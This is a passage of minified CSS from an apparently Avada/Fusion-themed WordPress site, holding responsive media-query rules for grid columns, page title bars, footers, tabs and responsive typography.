.product-grid-view,.products.products-4 .product-grid-view,.products.products-5 .product-grid-view{width:50%!important}.fusion-blog-layout-grid-3 .fusion-post-grid.fusion-element-landscape,.fusion-blog-layout-grid-4 .fusion-post-grid.fusion-element-landscape,.fusion-blog-layout-grid-5 .fusion-post-grid.fusion-element-landscape,.fusion-grid-3 .fusion-grid-column.fusion-element-landscape,.fusion-grid-4 .fusion-grid-column.fusion-element-landscape,.fusion-grid-5 .fusion-grid-column.fusion-element-landscape,.fusion-portfolio-five .fusion-portfolio-post.fusion-element-landscape,.fusion-portfolio-four .fusion-portfolio-post.fusion-element-landscape,.fusion-portfolio-three .fusion-portfolio-post.fusion-element-landscape,.products.products-3 .product-grid-view.fusion-element-landscape,.products.products-4 .product-grid-view.fusion-element-landscape,.products.products-5 .product-grid-view.fusion-element-landscape{width:100%!important}}@media only screen and (min-width: 796px) and (max-width: 848px){.fusion-blog-layout-grid-6 .fusion-post-grid,.fusion-grid-6 .fusion-grid-column,.fusion-portfolio-six .fusion-portfolio-post .products.products-6 .product-grid-view{width:20%!important}.fusion-blog-layout-grid-6 .fusion-post-grid.fusion-element-landscape,.fusion-grid-6 .fusion-grid-column.fusion-element-landscape,.fusion-portfolio-six .fusion-portfolio-post .products.products-6 .product-grid-view.fusion-element-landscape{width:40%!important}.fusion-blog-layout-grid-4 .fusion-post-grid,.fusion-blog-layout-grid-5 .fusion-post-grid,.fusion-grid-4 .fusion-grid-column,.fusion-grid-5 .fusion-grid-column,.fusion-portfolio-five .fusion-portfolio-post,.fusion-portfolio-four .fusion-portfolio-post,.products.products-4 .product-grid-view,.products.products-5 .product-grid-view{width:33.33333333%!important}.fusion-blog-layout-grid-4 .fusion-post-grid.fusion-element-landscape,.fusion-blog-layout-grid-5 .fusion-post-grid.fusion-element-landscape,.fusion-grid-4 .fusion-grid-column.fusion-element-landscape,.fusion-grid-5 .fusion-grid-column.fusion-element-landscape,.fusion-portfolio-five .fusion-portfolio-post.fusion-element-landscape,.fusion-portfolio-four .fusion-portfolio-post.fusion-element-landscape,.products.products-4 .product-grid-view.fusion-element-landscape,.products.products-5 .product-grid-view.fusion-element-landscape{width:66.66666667%!important}}@media only screen and (min-width: 848px) and (max-width: 900px){.fusion-grid-6 .fusion-grid-column,.fusion-portfolio-six .fusion-portfolio-post,.grid-layout-6 .fusion-post-grid,.products.products-6 .product-grid-view{width:20%!important}.fusion-grid-6 .fusion-grid-column.fusion-element-landscape,.fusion-portfolio-six .fusion-portfolio-post.fusion-element-landscape,.grid-layout-6 .fusion-post-grid.fusion-element-landscape,.products.products-6 .product-grid-view.fusion-element-landscape{width:40%!important}.fusion-blog-layout-grid-5 .fusion-post-grid,.fusion-grid-5 .fusion-grid-column,.fusion-portfolio-five .fusion-portfolio-post,.products.products-5 .product-grid-view{width:25%!important}.fusion-blog-layout-grid-5 .fusion-post-grid.fusion-element-landscape,.fusion-grid-5 .fusion-grid-column.fusion-element-landscape,.fusion-portfolio-five .fusion-portfolio-post.fusion-element-landscape,.products.products-5 .product-grid-view.fusion-element-landscape{width:50%!important}}@media only screen and (min-width: 1151px){.fusion-icon-only-link .menu-title{display:none}}@media only screen and (max-width: 1150px){.width-100 .fusion-section-separator-with-offset{margin-left:calc((100vw - 100%)/ -2)!important;margin-right:calc((100vw - 100%)/ -2)!important}}@media only screen and (max-width: 1150px){.fusion-footer-copyright-area>.fusion-row,.fusion-footer-widget-area>.fusion-row{padding-left:0;padding-right:0}}@media only screen and (min-device-width: 768px) and (max-device-width: 1024px) and (orientation: portrait){.fusion-blog-layout-grid-6 .fusion-post-grid,.fusion-grid-6 .fusion-grid-column,.fusion-portfolio-six .fusion-portfolio-post,.products.products-6 .product-grid-view{width:var(--awb-columns-medium,33.33333333%)!important}.fusion-blog-layout-grid-6 .fusion-post-grid.fusion-element-landscape,.fusion-grid-6 .fusion-grid-column.fusion-element-landscape,.fusion-portfolio-six .fusion-portfolio-post.fusion-element-landscape,.products.products-6 .product-grid-view.fusion-element-landscape{width:66.66666667%!important}.fusion-blog-layout-grid-3 .fusion-post-grid,.fusion-blog-layout-grid-4 .fusion-post-grid,.fusion-blog-layout-grid-5 .fusion-post-grid,.fusion-grid-2>.fusion-grid-column,.fusion-grid-3 .fusion-grid-column,.fusion-grid-4 .fusion-grid-column,.fusion-grid-5 .fusion-grid-column,.fusion-grid-two>.fusion-grid-column,.fusion-portfolio-five .fusion-portfolio-post,.fusion-portfolio-four .fusion-portfolio-post,.fusion-portfolio-masonry .fusion-portfolio-post,.fusion-portfolio-three .fusion-portfolio-post,.products.products-3 .product-grid-view,.products.products-4 .product-grid-view,.products.products-5 .product-grid-view{width:var(--awb-columns-medium,50%)!important}.fusion-blog-layout-grid-3 .fusion-post-grid.fusion-element-landscape,.fusion-blog-layout-grid-4 .fusion-post-grid.fusion-element-landscape,.fusion-blog-layout-grid-5 .fusion-post-grid.fusion-element-landscape,.fusion-grid-2>.fusion-grid-column.fusion-element-landscape,.fusion-grid-3 .fusion-grid-column.fusion-element-landscape,.fusion-grid-4 .fusion-grid-column.fusion-element-landscape,.fusion-grid-5 .fusion-grid-column.fusion-element-landscape,.fusion-grid-two>.fusion-grid-column.fusion-element-landscape,.fusion-portfolio-five .fusion-portfolio-post.fusion-element-landscape,.fusion-portfolio-four .fusion-portfolio-post.fusion-element-landscape,.fusion-portfolio-masonry .fusion-portfolio-post.fusion-element-landscape,.fusion-portfolio-three .fusion-portfolio-post.fusion-element-landscape,.products.products-3 .product-grid-view.fusion-element-landscape,.products.products-4 .product-grid-view.fusion-element-landscape,.products.products-5 .product-grid-view.fusion-element-landscape{width:100%!important}.fusion-columns-1 .fusion-column:first-child,.fusion-columns-2 .fusion-column:first-child,.fusion-columns-3 .fusion-column:first-child,.fusion-columns-4 .fusion-column:first-child,.fusion-columns-5 .fusion-column:first-child{margin-left:0}.fusion-column,.fusion-column:nth-child(2n),.fusion-column:nth-child(3n),.fusion-column:nth-child(4n),.fusion-column:nth-child(5n){margin-right:0}#wrapper{width:auto!important}#wrapper .ei-slider{width:100%!important;height:200px!important}.create-block-format-context{display:none}.columns .col{float:none;width:100%!important;margin:0;box-sizing:border-box}.fullwidth-box{background-attachment:scroll!important}.fullwidth-box .fullwidth-faded{background-attachment:scroll!important}.review{float:none;width:100%}.fusion-social-links-footer{width:auto}.fusion-social-links-footer .fusion-social-networks{display:inline-block;float:none}.fusion-author .fusion-author-ssocial .fusion-author-tagline{float:none;text-align:center;max-width:100%}.fusion-author .fusion-author-ssocial .fusion-social-networks{text-align:center}.fusion-author .fusion-author-ssocial .fusion-social-networks .fusion-social-network-icon:first-child{margin-left:0}.fusion-page-title-wrapper{display:block}.fusion-page-title-bar-left .fusion-page-title-captions,.fusion-page-title-bar-left .fusion-page-title-secondary,.fusion-page-title-bar-right .fusion-page-title-captions,.fusion-page-title-bar-right .fusion-page-title-secondary{display:block;float:none;width:100%;line-height:normal}.fusion-page-title-bar-left .fusion-page-title-secondary{text-align:left}.fusion-page-title-bar-left .searchform{display:block;max-width:100%}.fusion-page-title-bar .fusion-page-title-secondary{margin:2px 0 0}.fusion-page-title-bar-right .fusion-page-title-secondary{text-align:right}.fusion-page-title-bar-right .searchform{max-width:100%}.sidebar .social_links .social li{width:auto;margin-right:5px}#comment-input{margin-bottom:0}#comment-input input{width:90%;float:none!important;margin-bottom:10px}#comment-textarea textarea{width:90%}.pagination{margin-top:40px}.portfolio-one .portfolio-item .image{float:none;width:auto;height:auto;margin-bottom:20px}h5.toggle span.toggle-title{width:80%}.project-content .project-description{float:none!important}.project-content .fusion-project-description-details{margin-bottom:50px}.project-content .project-description,.project-content .project-info{width:100%!important}.portfolio-half .flexslider{width:100%}.portfolio-half .project-content{width:100%!important}#style_selector{display:none}.faq-tabs,.portfolio-tabs{height:auto;border-bottom-width:1px;border-bottom-style:solid}.faq-tabs li,.portfolio-tabs li{float:left;margin-right:30px;border-bottom:0}.ls-avada .ls-nav-next,.ls-avada .ls-nav-prev{display:none!important}nav#nav,nav#sticky-nav{margin-right:0}#footer .social-networks{width:100%;margin:0 auto;position:relative;left:-11px}.tab-holder .tabs{height:auto!important;width:100%!important}.shortcode-tabs .tab-hold .tabs li{width:100%!important}body .shortcode-tabs .tab-hold .tabs li,body.dark .sidebar .tab-hold .tabs li{border-right:none!important}body #small-nav{visibility:visible!important}.error_page .useful_links{width:100%;padding-left:0}.fusion-google-map{width:100%!important}.fusion-blog-layout-medium-alternate .fusion-post-content{flex:1 0 100%;width:100%;padding-top:20px}.gform_wrapper .gfield input[type=text],.gform_wrapper .gfield textarea,.gform_wrapper .ginput_complex .ginput_left,.gform_wrapper .ginput_complex .ginput_right,.wpcf7-form .wpcf7-number,.wpcf7-form .wpcf7-quiz,.wpcf7-form .wpcf7-text,.wpcf7-form textarea{float:none!important;width:100%!important;box-sizing:border-box}#toTop{bottom:30px;border-radius:4px;height:40px}#toTop:before{line-height:38px}#toTop:hover{background-color:#333}.no-mobile-totop .to-top-container{display:none}.no-mobile-slidingbar #slidingbar-area{display:none}.no-mobile-slidingbar .fusion-flyout-sliding-bar-toggle{display:none!important}.tfs-slider .slide-content-container .btn{min-height:0!important;padding-left:20px;padding-right:20px!important;height:26px!important;line-height:26px!important}.fusion-soundcloud iframe{width:100%}.fusion-columns-2 .fusion-column,.fusion-columns-2 .fusion-flip-box-wrapper,.fusion-columns-4 .fusion-column,.fusion-columns-4 .fusion-flip-box-wrapper{width:50%!important;float:left!important}.fusion-columns-2 .fusion-column:nth-of-type(2n+1),.fusion-columns-2 .fusion-flip-box-wrapper:nth-of-type(2n+1),.fusion-columns-4 .fusion-column:nth-of-type(2n+1){clear:both}.fusion-columns-3 .fusion-column,.fusion-columns-3 .fusion-flip-box-wrapper,.fusion-columns-5 .col-lg-2,.fusion-columns-5 .col-md-2,.fusion-columns-5 .col-sm-2,.fusion-columns-5 .fusion-column,.fusion-columns-5 .fusion-flip-box-wrapper,.fusion-columns-6 .fusion-column,.fusion-columns-6 .fusion-flip-box-wrapper{width:33.33%!important;float:left!important}.fusion-columns-3 .fusion-column:nth-of-type(3n+1),.fusion-columns-3 .fusion-flip-box-wrapper:nth-of-type(3n+1),.fusion-columns-5 .fusion-column:nth-of-type(3n+1),.fusion-columns-5 .fusion-flip-box-wrapper:nth-of-type(3n+1),.fusion-columns-6 .fusion-column:nth-of-type(3n+1),.fusion-columns-6 .fusion-flip-box-wrapper:nth-of-type(3n+1){clear:both}.footer-area .fusion-column,.fusion-sliding-bar-position-bottom .fusion-column,.fusion-sliding-bar-position-top .fusion-column{margin-bottom:40px}.fusion-layout-column.fusion-five-sixth,.fusion-layout-column.fusion-four-fifth,.fusion-layout-column.fusion-one-fifth,.fusion-layout-column.fusion-one-fourth,.fusion-layout-column.fusion-one-half,.fusion-layout-column.fusion-one-sixth,.fusion-layout-column.fusion-one-third,.fusion-layout-column.fusion-three-fifth,.fusion-layout-column.fusion-three-fourth,.fusion-layout-column.fusion-two-fifth,.fusion-layout-column.fusion-two-third{position:relative;margin-bottom:20px;float:left;margin-right:4%}.rtl .fusion-layout-column.fusion-five-sixth,.rtl .fusion-layout-column.fusion-four-fifth,.rtl .fusion-layout-column.fusion-one-fifth,.rtl .fusion-layout-column.fusion-one-fourth,.rtl .fusion-layout-column.fusion-one-half,.rtl .fusion-layout-column.fusion-one-sixth,.rtl .fusion-layout-column.fusion-one-third,.rtl .fusion-layout-column.fusion-three-fifth,.rtl .fusion-layout-column.fusion-three-fourth,.rtl .fusion-layout-column.fusion-two-fifth,.rtl .fusion-layout-column.fusion-two-third{float:right;margin-left:4%;margin-right:0}.fusion-layout-column.fusion-one-sixth{width:13.3333%}.fusion-layout-column.fusion-five-sixth{width:82.6666%}.fusion-layout-column.fusion-one-fifth{width:16.8%}.fusion-layout-column.fusion-two-fifth{width:37.6%}.fusion-layout-column.fusion-three-fifth{width:58.4%}.fusion-layout-column.fusion-four-fifth{width:79.2%}.fusion-layout-column.fusion-one-fourth{width:22%}.fusion-layout-column.fusion-three-fourth{width:74%}.fusion-layout-column.fusion-one-third{width:30.6666%}.fusion-layout-column.fusion-two-third{width:65.3333%}.fusion-layout-column.fusion-one-half{width:48%}.fusion-layout-column.fusion-one-full{clear:both}.fusion-layout-column.fusion-spacing-no{margin-left:0;margin-right:0}.fusion-layout-column.fusion-spacing-no.fusion-one-sixth{width:16.66666667%}.fusion-layout-column.fusion-spacing-no.fusion-five-sixth{width:83.33333333%}.fusion-layout-column.fusion-spacing-no.fusion-one-fifth{width:20%}.fusion-layout-column.fusion-spacing-no.fusion-two-fifth{width:40%}.fusion-layout-column.fusion-spacing-no.fusion-three-fifth{width:60%}.fusion-layout-column.fusion-spacing-no.fusion-four-fifth{width:80%}.fusion-layout-column.fusion-spacing-no.fusion-one-fourth{width:25%}.fusion-layout-column.fusion-spacing-no.fusion-three-fourth{width:75%}.fusion-layout-column.fusion-spacing-no.fusion-one-third{width:33.33333333%}.fusion-layout-column.fusion-spacing-no.fusion-two-third{width:66.66666667%}.fusion-layout-column.fusion-spacing-no.fusion-one-half{width:50%}.fusion-layout-column.fusion-column-last{clear:right;zoom:1;margin-left:0;margin-right:0}.rtl .fusion-layout-column.fusion-column-last{clear:left;margin-left:0}.fusion-layout-column.fusion-column-last.fusion-one-full{clear:both}.avada-footer-fx-bg-parallax .fusion-footer-widget-area{background-attachment:initial;margin:0}.avada-footer-fx-bg-parallax #main{margin-bottom:0}.fusion-column.fusion-spacing-no{margin-bottom:0;width:100%!important}.ua-mobile #main,.ua-mobile .fusion-footer-widget-area,.ua-mobile .page-title-bar,.ua-mobile body{background-attachment:scroll!important}#footer>.fusion-row,.footer-area>.fusion-row{padding-left:0!important;padding-right:0!important}#main,.fullwidth-box,.fusion-footer-widget-area,.page-title-bar,body{background-attachment:scroll!important}#customer_login_box .button{float:left;margin-bottom:15px}#customer_login_box .remember-box{clear:both;display:block;padding:0;width:125px;float:left}#customer_login_box .lost_password{float:left}.fusion-body .fusion-page-title-bar:not(.fusion-tb-page-title-bar){padding-top:5px;padding-bottom:5px}.fusion-body.avada-has-page-title-mobile-height-auto .fusion-page-title-bar{padding-top:10px;padding-bottom:10px;height:auto}.fusion-body:not(.avada-has-page-title-mobile-height-auto) .fusion-page-title-bar:not(.fusion-tb-page-title-bar){min-height:calc(var(--page_title_mobile_height) - 10px)}.fusion-body:not(.avada-has-page-title-mobile-height-auto) .fusion-page-title-bar{height:auto}.fusion-body:not(.avada-has-page-title-mobile-height-auto) .fusion-page-title-row{display:flex;align-items:center;width:100%;min-height:calc(var(--page_title_mobile_height) - 10px)}.fusion-body:not(.avada-has-page-title-mobile-height-auto) .fusion-page-title-bar-center .fusion-page-title-row{width:auto}.fusion-body:not(.avada-has-page-title-mobile-height-auto) .fusion-page-title-captions{width:100%}.avada-has-breadcrumb-mobile-hidden.fusion-body .fusion-page-title-bar .fusion-breadcrumbs{display:none}.avada-has-slider-fallback-image #sliders-container{display:none}.avada-has-slider-fallback-image #fallback-slide{display:block}}@media only screen and (min-device-width: 768px) and (max-device-width: 1024px) and (orientation: landscape){.fullwidth-box{background-attachment:scroll!important}.fullwidth-box .fullwidth-faded{background-attachment:scroll!important}.avada-footer-fx-bg-parallax .fusion-footer-widget-area{background-attachment:initial;margin:0}.avada-footer-fx-bg-parallax #main{margin-bottom:0}#main,.fullwidth-box,.fusion-footer-widget-area,.page-title-bar,body{background-attachment:scroll!important}}@media only screen and (max-width: 800px){.fusion-layout-column{margin-left:0!important;margin-right:0!important}.fusion-layout-column.fusion-spacing-no{margin-bottom:0}.fusion-body .fusion-layout-column:not(.fusion-flex-column){width:100%!important}.fusion-body .fusion-footer-widget-area-center .widget.tweets:not(.fusion-widget-mobile-align-left):not(.fusion-widget-mobile-align-right) .jtwt .jtwt_tweet{padding:0}.fusion-body .fusion-footer-widget-area-center .widget.tweets:not(.fusion-widget-mobile-align-left):not(.fusion-widget-mobile-align-right) .jtwt .jtwt_tweet::before{top:0}.fusion-body .fusion-footer-widget-area-center .widget.tweets:not(.fusion-widget-mobile-align-left):not(.fusion-widget-mobile-align-right) .jtwt .jtwt_tweet:before{position:relative;margin:0}.fusion-body .fusion-blog-layout-medium-alternate .fusion-post-content,.fusion-body .fusion-blog-layout-medium-alternate .has-post-thumbnail .fusion-post-content{margin:0;padding-top:20px;flex:1 0 100%}.fusion-body .fusion-author .fusion-social-networks{text-align:center}.fusion-columns-1 .fusion-column:first-child,.fusion-columns-2 .fusion-column:first-child,.fusion-columns-3 .fusion-column:first-child,.fusion-columns-4 .fusion-column:first-child,.fusion-columns-5 .fusion-column:first-child{margin-left:0}.fusion-columns .fusion-column{width:100%!important;float:none;box-sizing:border-box}.fusion-columns .fusion-column:not(.fusion-column-last){margin:0 0 50px}.widget.tweets.fusion-widget-mobile-align-center .jtwt .jtwt_tweet{padding:0}.widget.tweets.fusion-widget-mobile-align-center .jtwt .jtwt_tweet:before{top:0;position:relative;margin:0}.widget.tweets.fusion-widget-mobile-align-right .jtwt .jtwt_tweet{padding-left:0;padding-right:45px}.widget.tweets.fusion-widget-mobile-align-right .jtwt .jtwt_tweet:before{margin-left:0;right:0}.widget.tribe-events-list-widget.fusion-widget-align-right .tribe-events-list-widget-events{justify-content:end}.widget.tribe-events-list-widget.fusion-widget-align-center .tribe-events-list-widget-events{justify-content:center}.widget.facebook_like iframe{width:100%!important;max-width:none!important}.rtl .fusion-column{float:none}.rtl .no-mobile-slidingbar.mobile-logo-pos-right .mobile-menu-icons{margin-left:0}#slidingbar-area .columns .col,.avada-container .columns .col,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-6,.footer-area .fusion-columns .fusion-column,.fusion-columns-5 .col-lg-2,.fusion-columns-5 .col-md-2,.fusion-columns-5 .col-sm-2{float:none;width:100%}.fusion-portfolio-text-floated .fusion-portfolio-content-wrapper{display:block}.fusion-portfolio-text-floated .fusion-image-wrapper{max-width:none}.fusion-secondary-menu-icon{min-width:100%}.fusion-page-title-row{height:auto}.fusion-page-title-wrapper{flex-wrap:wrap}.fusion-page-title-bar-left .fusion-page-title-captions,.fusion-page-title-bar-left .fusion-page-title-secondary,.fusion-page-title-bar-right .fusion-page-title-captions,.fusion-page-title-bar-right .fusion-page-title-secondary{display:block;float:none;width:100%;line-height:normal}.fusion-page-title-bar-left .fusion-page-title-secondary{text-align:left}.fusion-page-title-bar-left .fusion-page-title-secondary{margin:2px 0 0}.fusion-page-title-bar-left .searchform{display:block;max-width:100%}.fusion-page-title-bar-right .fusion-page-title-secondary{text-align:right}.fusion-page-title-bar-right .searchform{max-width:100%}.fusion-contact-info{padding:.6em 30px;line-height:1.5em}.fusion-author .fusion-social-networks{display:block;margin-top:10px}.fusion-author-tagline{display:block;float:none;text-align:center;max-width:100%}#wrapper{width:auto!important}#wrapper .ei-slider{width:100%!important;height:200px!important}.create-block-format-context{display:none}.review{float:none;width:100%}.fusion-body .fusion-social-links-footer,.fusion-copyright-notice{display:block;text-align:center}.fusion-social-links-footer{width:auto}.fusion-social-links-footer .fusion-social-networks{display:inline-block;float:none;margin-top:0}.fusion-copyright-notice{padding:0 0 15px}.fusion-copyright-notice:after,.fusion-social-networks:after{content:"";display:block;clear:both}.fusion-copyright-notice li,.fusion-social-networks li{float:none;display:inline-block}.tfs-slider .slide-content-container .btn{min-height:0!important;padding-left:30px;padding-right:30px!important;height:26px!important;line-height:26px!important}#main .wc-empty-cart-message{float:none;justify-content:center;border-top-width:1px;border-top-style:solid;border-bottom:none;width:100%;line-height:normal!important;height:auto!important;margin-bottom:10px;padding-top:10px}#main .return-to-shop{float:none;border-top:none;border-bottom-width:1px;border-bottom-style:solid;width:100%;text-align:center;line-height:normal!important;height:auto!important;padding-bottom:10px}#content.full-width{margin-bottom:0}.sidebar .social_links .social li{width:auto;margin-right:5px}#comment-input{margin-bottom:0}#comment-input input{width:100%;float:none!important;margin-bottom:10px}#comment-textarea textarea{width:100%}.pagination{margin-top:40px}.portfolio-one .portfolio-item .image{float:none;width:auto;height:auto;margin-bottom:20px}h5.toggle span.toggle-title{width:80%}.project-content .project-description{float:none!important}.project-content .fusion-project-description-details{margin-bottom:50px}.project-content .project-description,.project-content .project-info{width:100%!important}.single-avada_portfolio .portfolio-half .project-content .project-description h3{margin-top:24px}.portfolio-half .flexslider{width:100%!important}.portfolio-half .project-content{width:100%!important}#style_selector{display:none}.ls-avada .ls-nav-next,.ls-avada .ls-nav-prev{display:none!important}#footer .social-networks{width:100%;margin:0 auto;position:relative;left:-11px}.tab-holder .tabs{height:auto!important;width:100%!important}.shortcode-tabs .tab-hold .tabs li{width:100%!important}body .shortcode-tabs .tab-hold .tabs li,body.dark .sidebar .tab-hold .tabs li{border-right:none!important}.error_page .useful_links{width:100%}.error-page .useful_links{padding-left:0}.fusion-google-map{width:100%!important}.fullwidth-box{background-attachment:scroll!important}.fullwidth-box .fullwidth-faded{background-attachment:scroll!important}#toTop{bottom:30px;border-radius:4px;height:44px;width:44px}#toTop:before{line-height:42px}.to-top-container #toTop{border-radius:var(--totop_border_radius)}.no-mobile-totop .to-top-container{display:none}.no-mobile-slidingbar #slidingbar-area,.no-mobile-slidingbar .fusion-flyout-sliding-bar-toggle{display:none!important}.no-mobile-slidingbar.mobile-logo-pos-left .mobile-menu-icons{margin-right:0}.fusion-soundcloud iframe{width:100%}.ua-mobile #main,.ua-mobile .footer-area,.ua-mobile .fusion-header,.ua-mobile .fusion-page-title-bar,.ua-mobile body{background-attachment:scroll!important}.fusion-footer footer .fusion-row .fusion-columns .fusion-column{border-right:none;border-left:none}.flex-direction-nav .flex-prev{opacity:1;left:0}.flex-direction-nav .flex-next{opacity:1;right:0}.rtl .shop_table_responsive .product-remove{left:0}.ltr .shop_table_responsive .product-remove{right:0}.fusion-body .fusion-page-title-bar{height:auto}.fusion-body .fusion-page-title-bar:not(.fusion-tb-page-title-bar){padding-top:5px;padding-bottom:5px}.fusion-body.avada-has-page-title-mobile-height-auto .fusion-page-title-bar{padding-top:10px;padding-bottom:10px}.fusion-body:not(.avada-has-page-title-mobile-height-auto) .fusion-page-title-row{display:flex;align-items:center;width:100%;min-height:calc(var(--page_title_mobile_height) - 10px)}.fusion-body:not(.avada-has-page-title-mobile-height-auto) .fusion-page-title-bar-center .fusion-page-title-row,.fusion-body:not(.avada-has-page-title-mobile-height-auto) .fusion-page-title-captions{width:100%}.fusion-body:not(.avada-has-page-title-mobile-height-auto) .fusion-page-title-bar:not(.fusion-tb-page-title-bar){min-height:calc(var(--page_title_mobile_height) - 10px)}.avada-has-breadcrumb-mobile-hidden.fusion-body .fusion-page-title-bar .fusion-breadcrumbs{display:none}}@media only screen and (max-width: 800px){#content{width:100%!important;margin-left:0!important}.sidebar{width:100%!important;float:none!important;margin-left:0!important;clear:both}#main>.fusion-row{display:flex;flex-wrap:wrap}}@media only screen and (max-width: 640px){.fusion-body .fusion-page-title-bar{max-height:none}.fusion-body .fusion-page-title-bar h1{margin:0}.fusion-body .fusion-blog-layout-medium .fusion-post-slideshow{float:none;margin:0 0 20px;width:auto;height:auto;flex:0 1 100%}.fusion-body .fusion-blog-layout-medium .fusion-post-content{flex:0 1 100%}.fusion-body .fusion-blog-layout-large-alternate .fusion-post-content{margin:0}.fusion-blog-layout-large .fusion-meta-info .fusion-alignleft,.fusion-blog-layout-large .fusion-meta-info .fusion-alignright,.fusion-blog-layout-medium .fusion-meta-info .fusion-alignleft,.fusion-blog-layout-medium .fusion-meta-info .fusion-alignright{display:block;float:none;margin:0;width:100%}.fusion-blog-layout-large-alternate .fusion-date-and-formats{margin-bottom:35px}.fusion-blog-layout-medium-alternate .has-post-thumbnail .fusion-post-slideshow{display:inline-block;float:none;margin-right:0;max-width:197px}.fusion-blog-layout-grid .fusion-post-grid{position:static;width:100%}.flex-direction-nav,.wooslider-direction-nav,.wooslider-pauseplay{display:none}.buttons a{margin-right:5px}.ls-avada .ls-nav-next,.ls-avada .ls-nav-prev{display:none!important}#wrapper .ei-slider{width:100%!important;height:200px!important}.page-template-contact-php .fusion-google-map{height:270px!important}.timeline-icon{display:none!important}.timeline-layout{padding-top:0!important}.portfolio-masonry .portfolio-item{width:100%!important}.table-1 table,.tkt-slctr-tbl-wrap-dv table{border-collapse:collapse;border-spacing:0;width:100%}.table-1 td,.table-1 th,.tkt-slctr-tbl-wrap-dv td,.tkt-slctr-tbl-wrap-dv th{white-space:nowrap}.table-2 table{border-collapse:collapse;border-spacing:0;width:100%}.table-2 td,.table-2 th{white-space:nowrap}#main,.footer-area,.page-title-bar,body{background-attachment:scroll!important}.tfs-slider[data-animation=slide]{height:auto!important}#content{width:100%!important;margin-left:0!important}.sidebar{width:100%!important;float:none!important;margin-left:0!important;clear:both}.fusion-hide-on-mobile{display:none}.fusion-blog-layout-timeline{padding-top:0}.fusion-blog-layout-timeline .fusion-post-timeline{float:none;width:100%}.fusion-blog-layout-timeline .fusion-timeline-date{margin-bottom:0;margin-top:2px}.fusion-timeline-arrow,.fusion-timeline-circle,.fusion-timeline-icon,.fusion-timeline-line{display:none}}@media only screen and (max-width: 1132px){.admin-bar p.woocommerce-store-notice,body.admin-bar #wrapper .fusion-sliding-bar-position-top,body.layout-boxed-mode.side-header-right .fusion-sliding-bar-position-top{top:46px}body.fusion-blank-page.admin-bar{top:45px}html #wpadminbar{z-index:99999!important;position:fixed!important}}@media only screen and (max-width: 1118px){.fusion-tabs.vertical-tabs .tab-pane{max-width:none!important}}@media only screen and (min-width: 800px){.ilightbox-holder.supportTouch div.ilightbox-container{overflow:visible}.widget.tweets.fusion-widget-align-right .jtwt .jtwt_tweet{padding-left:0;padding-right:45px}.widget.tweets.fusion-widget-align-right .jtwt .jtwt_tweet:before{margin-left:0;right:0}.widget.tweets.fusion-widget-align-center .jtwt .jtwt_tweet{padding:0}.widget.tweets.fusion-widget-align-center .jtwt .jtwt_tweet:before{top:0;position:relative;margin:0}.widget.tribe-events-list-widget.fusion-widget-align-right .tribe-events-list-widget-events{justify-content:end}.widget.tribe-events-list-widget.fusion-widget-align-center .tribe-events-list-widget-events{justify-content:center}.fusion-body .fusion-footer-widget-area-center .widget.tweets:not(.fusion-widget-align-left):not(.fusion-widget-align-right) .jtwt .jtwt_tweet{padding:0}.fusion-body .fusion-footer-widget-area-center .widget.tweets:not(.fusion-widget-align-left):not(.fusion-widget-align-right) .jtwt .jtwt_tweet:before{top:0;position:relative;margin:0}.no-desktop-totop .to-top-container{display:none}}@media only screen and (max-device-width: 640px){#wrapper{width:auto!important}#wrapper .ei-slider{width:100%!important;height:200px!important}.fusion-columns .fusion-column{float:none;width:100%!important;margin:0 0 50px;box-sizing:border-box}.footer-area .fusion-columns .fusion-column,.fusion-sliding-bar-position-bottom .fusion-columns .fusion-column,.fusion-sliding-bar-position-top .fusion-columns .fusion-column{float:left;width:98%!important}.fullwidth-box{background-attachment:scroll!important}.fullwidth-box .fullwidth-faded{background-attachment:scroll!important}.no-mobile-slidingbar #slidingbar-area,.no-mobile-slidingbar .fusion-flyout-sliding-bar-toggle{display:none!important}.review{float:none;width:100%}.copyright,.social-networks{float:none;padding:0 0 15px;text-align:center}.copyright:after,.social-networks:after{content:"";display:block;clear:both}.copyright li,.social-networks li{float:none;display:inline-block}.continue{display:none}.mobile-button{display:block!important;float:none}.title{margin-top:0;margin-bottom:20px}#content{width:100%!important;float:none!important;margin-left:0!important;margin-bottom:50px}#content.full-width{margin-bottom:0}.sidebar{width:100%!important;float:none!important;margin-left:0!important;clear:both}.sidebar .social_links .social li{width:auto;margin-right:5px}#comment-input{margin-bottom:0}.widget.facebook_like iframe{width:100%!important;max-width:none!important}.pagination{margin-top:40px}.portfolio-one .portfolio-item .image{float:none;width:auto;height:auto;margin-bottom:20px}h5.toggle span.toggle-title{width:80%}.project-content .project-description{float:none!important}.project-content .fusion-project-description-details{margin-bottom:50px}.project-content .project-description,.project-content .project-info{width:100%!important}.portfolio-half .flexslider{width:100%!important}.portfolio-half .project-content{width:100%!important}#style_selector{display:none}.ls-avada .ls-nav-next,.ls-avada .ls-nav-prev{display:none!important}#footer .social-networks{width:100%;margin:0 auto;position:relative;left:-11px}.recent-works-items a{max-width:64px}#slidingbar-area .flickr_badge_image img,.footer-area .flickr_badge_image img{max-width:64px;padding:3px!important}.tab-holder .tabs{height:auto!important;width:100%!important}.shortcode-tabs .tab-hold .tabs li{width:100%!important}body .shortcode-tabs .tab-hold .tabs li,body.dark .sidebar .tab-hold .tabs li{border-right:none!important}.error_page .useful_links{width:100%;padding-left:0}.fusion-google-map{width:100%!important}#cloudsCandy{height:40px}#cloudsCandy>path:nth-child(2n+2){opacity:0}.ltr .fusion-blog-layout-medium-alternate .has-post-thumbnail .fusion-date-and-formats{margin-right:12px}.rtl .fusion-blog-layout-medium-alternate .has-post-thumbnail .fusion-date-and-formats{margin-left:12px}.fusion-blog-layout-medium-alternate .has-post-thumbnail .fusion-post-slideshow{max-width:166px}}@media only screen and (max-width: 900px){.fusion-responsive-typography-calculated{--minFontSize:calc(var(--typography_factor) * var(--base-font-size));--minViewportSize:360;--maxViewportSize:var(--grid_main_break_point);font-size:calc((var(--fontSize) * 1px) - (var(--typography_sensitivity) * (var(--fontSize) - var(--minFontSize)) * (var(--minViewportSize) * 1px - 100vw))/ (var(--maxViewportSize) - var(--minViewportSize)) - (var(--fontSize) - var(--minFontSize)) * var(--typography_sensitivity) * 1px)!important}.fusion-top-header .fusion-responsive-typography-calculated{--side_header_width:0;--side_header_width-int:0}}@media only screen and (max-width: 800px){.fusion-responsive-typography-calculated{--maxViewportSize:var(--content_break_point)!important}}@media only screen and (max-device-width: 640px){.ls-container .button,.ls-container .fusion-button,.rev_slider .button,.rev_slider .fusion-button{padding:0 